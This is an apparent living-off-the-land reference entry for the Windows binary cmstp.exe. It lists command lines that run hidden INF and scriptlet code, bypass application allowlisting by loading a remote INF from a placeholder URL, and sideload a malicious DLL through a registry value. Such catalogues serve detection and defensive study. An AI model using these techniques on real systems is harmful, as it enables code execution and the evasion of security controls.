Cmstp.exe

Installs or removes a Connection Manager service profile.

Paths

  • C:\Windows\System32\cmstp.exe
  • C:\Windows\SysWOW64\cmstp.exe

Commands

Execute

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

Use case: Execute code hidden within an inf file. Download and run scriptlets from internet.

Privileges: User

cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}

AWL Bypass

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

Use case: Execute code hidden within an inf file. Execute code directly from Internet.

Privileges: User

cmstp.exe /ni /s {REMOTEURL:.inf}

Execute

cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.

Use case: Proxy execution of a malicious DLL via registry modification.

Privileges: Administrator

cmstp.exe /nf

Detection

Resources